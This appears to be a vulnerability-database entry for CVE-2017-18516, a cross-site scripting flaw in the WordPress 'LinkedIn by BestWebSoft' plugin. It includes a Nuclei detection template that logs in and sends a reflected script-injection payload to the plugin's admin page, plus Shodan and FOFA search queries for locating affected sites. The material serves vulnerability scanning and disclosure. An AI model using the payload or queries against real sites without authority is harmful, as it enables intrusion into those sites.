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LinkedIn by BestWebSoft < 1.0.5 - Cross-Site Scripting

🗓️ 18 Jun 2026 12:11:27Reported by ProjectDiscoveryType 
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LinkedIn by BestWebSoft < 1.0.5 - Cross-Site Scripting. Multiple XSS issues fixed in v1.0.

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CNVD
WordPress bws-linkedin plugin cross-site scripting vulnerability
23 Aug 201900:00
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CVE
CVE-2017-18516
21 Aug 201918:19
cve
Cvelist
CVE-2017-18516
21 Aug 201918:19
cvelist
EUVD
EUVD-2017-9632
7 Oct 202500:30
euvd
NVD
CVE-2017-18516
21 Aug 201919:15
nvd
OSV
CVE-2017-18516
21 Aug 201919:15
osv
Prion
Cross site scripting
21 Aug 201919:15
prion
RedhatCVE
CVE-2017-18516
22 May 202501:53
redhatcve
wpexploit
Multiple BestWebSoft Plugins - Authenticated Cross-Site Scripting (XSS)
12 Apr 201700:00
wpexploit
WPVulnDB
Multiple BestWebSoft Plugins - Authenticated Cross-Site Scripting (XSS)
12 Apr 201700:00
wpvulndb
Rows per page
id: CVE-2017-18516

info:
  name: LinkedIn by BestWebSoft < 1.0.5 - Cross-Site Scripting
  author: luisfelipe146
  severity: medium
  description: |
    The bws-linkedin plugin before 1.0.5 for WordPress has multiple XSS issues.
  impact: |
    Authenticated attackers can execute arbitrary JavaScript in victims' browsers, potentially stealing session cookies, credentials, or performing actions on behalf of users.
  remediation: Fixed in version 1.0.5
  reference:
    - https://wpscan.com/vulnerability/efd816c3-90d4-40bf-850a-0e4c1a756694
    - https://nvd.nist.gov/vuln/detail/CVE-2017-18516
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-18516
    - https://wordpress.org/plugins/bws-linkedin/#developers
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2017-18516
    cwe-id: CWE-79
    epss-score: 0.01688
    epss-percentile: 0.74047
    cpe: cpe:2.3:a:bestwebsoft:linkedin:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: bestwebsoft
    product: linkedin
    framework: wordpress
    shodan-query: http.html:/wp-content/plugins/bws-linkedin/
    fofa-query: body=/wp-content/plugins/bws-linkedin/
    publicwww-query: "/wp-content/plugins/bws-linkedin/"
  tags: cve2017,cve,wordpress,wp-plugin,wpscan,bws-linkedin,xss,authenticated,bestwebsoft,vuln

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In
      - |
        GET /wp-admin/admin.php?page=bws_panel&category=%22%3E%3C/script%3E%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1
        Host: {{Hostname}}
      - |
        GET /wp-content/plugins/bws-linkedin/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code_2 == 200'
          - 'contains(header_2, "text/html")'
          - 'contains(body_2, "></script><script>alert(document.domain)</script>\">All</a></li>")'
          - 'contains(body_3, "LinkedIn by BestWebSoft")'
        condition: and
# digest: 4b0a00483046022100c97affc79914da837ec426e355a138bf33e4af09755bb9aa2ccb67da6d3fcda0022100ad4f99e9ade71a73b44982e5b942039509dff9b95a4360e6862d9dab43e629a5:922c64590222798bb761d5b6d8e72950

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04 Feb 2026 07:00Current
6Medium risk
Vulners AI Score6
CVSS 24.3
CVSS 36.1
EPSS0.01688
16